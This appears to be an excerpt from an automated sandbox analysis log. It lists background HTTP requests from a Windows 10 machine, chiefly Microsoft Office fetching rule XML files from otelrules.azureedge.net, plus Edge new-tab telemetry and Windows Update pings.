Source: global traffic	HTTP traffic detected: GET /b2?rn=1730340273832&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=3CD7EF6E4E356EB83574FA474F626FE4&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1Host: sb.scorecardresearch.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: UID=1E05fe2ad745d696eb1eeb71730340275; XID=1E05fe2ad745d696eb1eeb71730340275
Source: global traffic	HTTP traffic detected: GET /rules/rule702351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /c.gif?rnd=1730340273831&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=975651cc5bb74788834f172e3f218273&activityId=975651cc5bb74788834f172e3f218273&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=D82108320B634A7C9AB122F8DD6A6885&MUID=3CD7EF6E4E356EB83574FA474F626FE4 HTTP/1.1Host: c.msn.comConnection: keep-alivesec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47sec-ch-ua-platform: "Windows"Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://ntp.msn.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-GB,en;q=0.9,en-US;q=0.8Cookie: USRLOC=; MUID=3CD7EF6E4E356EB83574FA474F626FE4; _EDGE_S=F=1&SID=2210217DA71A682B2F663454A634693E; _EDGE_V=1; SM=T; msnup=; _C_ETH=1
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=44cEmSBup7NOfvX&MD=VKrrpHnd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=44cEmSBup7NOfvX&MD=VKrrpHnd HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
